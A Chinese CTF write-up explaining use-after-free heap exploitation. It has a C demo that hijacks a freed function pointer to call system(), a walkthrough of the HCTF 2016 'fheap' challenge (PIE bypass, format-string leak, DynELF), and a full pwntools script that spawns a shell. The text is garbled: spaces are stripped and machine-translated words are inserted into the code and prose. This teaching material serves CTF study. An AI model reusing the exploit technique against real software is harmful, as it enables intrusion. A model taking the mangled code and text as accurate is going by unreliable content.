1.前言想着写一个Useafterfree的小总结,刚好是最近湖湘杯2016的一道题——游戏usesuseafterfree可以解决。这道题是我第一次在比较正式的比赛中做pwn题。做这道题花了很多时间,效率不高,但还是很开心。后面回去做hctf2016的fheap题。可以用uaf解决。游戏题的复杂度有点高,描述起来有点难度。下面主要是用hctf题给大家讲解一下原理。对于uaf漏洞,经过搜索,浏览器中uaf漏洞较多,感兴趣的同学可以自行查看。2.uaf原理uaf漏洞的主要原因是释放一个堆块后,指针没有设置为NULL,导致指针处于悬空状态。如果释放的内存是恶意构造的数据,就有可能会被利用。在详细解释之前先给大家一个直观印象最后一段代码。#include#includetypedefvoid(*func_ptr)(char*);voidevil_fuc(charcommand[]){system(command);}voidecho(charcontent[]){printf("%s",内容);}intmain(){func_ptr*p1=(int*)malloc(4*sizeof(int));printf("mallocaddr:%p\n",p1);p1[3]=echo;p1[3]("地狱世界\n");free(p1);//这里释放p1,但是p1不为空,以便后面可以使用p1指针p1[3]("helloagain\n");//p1指针不为空,虽然空闲了,但还是可以用的。func_ptr*p2=(int*)malloc(4*sizeof(int));//malloc在释放一块内存后再次申请相同大小的指针会分配刚刚释放的内存。printf("mallocaddr:%p\n",p2);printf("mallocaddr:%p\n",p1);//p2和p1指针指向同一个内存地址p2[3]=evil_fuc;//这里用evil_func覆盖p1指针中存放的echo函数指针指针。p1[3]("whoami");return0;}这段代码是在32位系统下执行的。通过这段代码,uaf的使用过程大致可以概括为以下过程:1.申请空间并释放。释放后指针没有置空,所以这个指针还是可以用的。这个指针简称为p1。2.申请空间p2。因为malloc分配的过程,p2指向的空间就是刚刚释放的p1指针所在的空间。构造恶意数据布局此内存空间,即覆盖p1中的数据。3、使用p1,一般多一个函数指针。由于之前p1中的数据已经被p2覆盖了,此时的数据不仅不在我们的控制之下,而且函数流程也有可能被劫持。3、hctf2016--fheapuaf的原理比较简单。下面是具体做法。如果漏洞比较复杂,会结合doublefree等常见的堆利用方式一起出题。具体可以参考bctf2015的freenote。不过fheap的问题直接用uaf就解决了。还有湖湘杯2016的比赛题,和fheap基本一样。如果你按照这个问题,你可以在游戏中尝试一下。先介绍一下fheap的作用。A.程序功能程序提供的功能比较简单,一共有两个功能:1.创建字符串输入create,然后输入size,最后输入具体的字符串。相关数据结构为:先申请一个0x20字节的堆存储结构,如果输入字符串的长度大于0xf,则申请相应长度的空间来存储字符串,否则直接存储在前面之前申请的0x20bytes到16bytes,在***处,相关的freefunction的地址会被存放到堆存储结构的最后八个字节。相关示意图如下所示:2.deletestring调用结构体中存储的free_func指针释放堆。由于release后指针并没有被清空,所以存在release后仍然可以使用的现象,即uaf。B、检查保护机制首先检查开启的安全机制,可以看到PIE开启了,在解决问题的过程中需要绕过PIE。PIE的意思是代码段的地址也会随机化,但是低两个字节是Fixed的,利用这个我们可以泄露程序的地址。C、使用思路的大致思路:首先使用uaf,利用堆块之间申请和释放的步骤,形成对free_func指针的覆盖。从而达到劫持程序流程的目的。具体来说,先申请一个小于0xf三个字符的堆块,然后释放。此时fastbin空心堆块的单链表结构如左图所示,然后申请一个字符串,字符串长度为0x20。这时申请的堆中的数据会如右图所示,后面申请的堆块和之前申请的1号堆块在同一个内存空间。这时候输入的数据可以覆盖1号堆块中的free_func指针,指向我们需要执行的函数,然后调用1号堆块的free_func函数,就达到了劫持的目的功能流程。1.绕过PIE。劫持函数流程后,首先泄露程序地址绕过PIE。具体方法是用“\x2d”覆盖free_func指针的***位执行fputs函数,最后变成打印出free_func的地址,从而得到程序的基地址等2.泄露系统函数的地址。首先,有了程序的地址之后,就可以得到printf函数的plt地址,从而想办法在栈中部署数据,使用格式化字符串打印出我们需要的地址中的内容,并使用DynELF模块泄露地址,可以看SecurityGuard之前有人写的一篇文章---借助DynELF在没有libc的情况下利用漏洞的总结。从而泄露了系统函数的地址。3、执行system("/bin/sh"),最后调用system函数打开shell。D、最后的expexp终于如下,里面还有一些注释。frompwnimport*fromctypesimport*DEBUG=1ifDEBUG:p=process('./fheap')else:r=remote('172.16.4.93',13025)print_plt=0defcreate(size,content):p.recvuntil("quit")p.send("create")p.recvuntil("size:")p.send(str(size)+'\n')p.recvuntil('str:')p.send(content.ljust(size,'\x00'))p.recvuntil('\n')[:-1]defdelete(idx):p.recvuntil("quit")p.send("delete"+'\n')p.recvuntil('id:')p.send(str(idx)+'\n')p.recvuntil('sure?:')p.send('yes'+'\n')defleak(addr):删除(0)#printffunctionformatstring打印第九个参数地址中的数据,第九个就是输入地址data='aa%9$s'+'#'*(0x18-len('aa%9$s'))+p64(print_plt)create(0x20,data)p.recvuntil("quit")p.send("delete")p.recvuntil('id:')p.send(str(1)+'\n')p.recvuntil('sure?:')p.send('yes01234'+p64(addr))p.recvuntil('aa')data=p.recvuntil('####')[:-4]data+="\x00"returndatadefpwn():globalprint_pltcreate(4,'aa')create(4,'bb')create(4,'cc')delete(2)delete(1)delete(0)#申请三个堆块,然后将其删除,从而在fastbin链表中形成三个空堆块#Part1覆盖fputs函数,绕过PIEdata='a'*0x10+'b'*0x8+'\x2D'+'\x00'#第一次覆盖,泄露函数地址create(0x20,data)#这里继续创建两个堆块使得输入数据与前一个块1共享一个内存。delete(1)#劫持函数程序流程在这里p.recvuntil('b'*0x8)data=p.recvuntil('1.')[:-2]iflen(data)>8:datadata=data[:8]data=u64(data.ljust(8,'\x00'))-0xA000000000000#这里减去的数可能不需要,自己调整proc_base=data-0xd2dprint"procbase",hex(proc_base)print_plt=proc_base+0x9d0print"printplt",hex(print_plt)delete(0)data='a'*0x10+'b'*0x8+'\x2D'+'\x00'create(0x20,data)delete(1)p.recvuntil('b'*0x8)data=p.recvuntil('1.')[:-2]#part2使用DynELF泄露系统函数地址d=DynELF(leak,proc_base,elf=ELF('./fheap'))system_addr=d.lookup('system','libc')print"system_addr:",hex(system_addr)#部分执行系统函数,打开shelldelete(0)data='/bin/sh;'+'#'*(0x18-len('/bin/sh;'))+p64(system_addr)create(0x20,data)delete(1)p.interactive()#####使用方法总结为#delete(0),应用将得到的堆块加入fastbin#create(0x20,data),连续申请两个堆块,数据覆盖free_func指针in1heap#delete(1)劫持函数流,调用我们覆盖的指针地址###if__name__=='__main__':pwn()执行结果4.总结我觉得UAF最重要的是即堆块释放后指针没有被清空,在后续过程中内存空间数据被其他数据覆盖后,指针仍然可以正常使用内存,导致数据被误用。ctf题中容易遇到的是释放的堆块中的某个区域本来是用来存放函数指针的,后来恶意构造的数据被其他地址覆盖,达到劫持函数流的目的,所以可能会被抢购一空。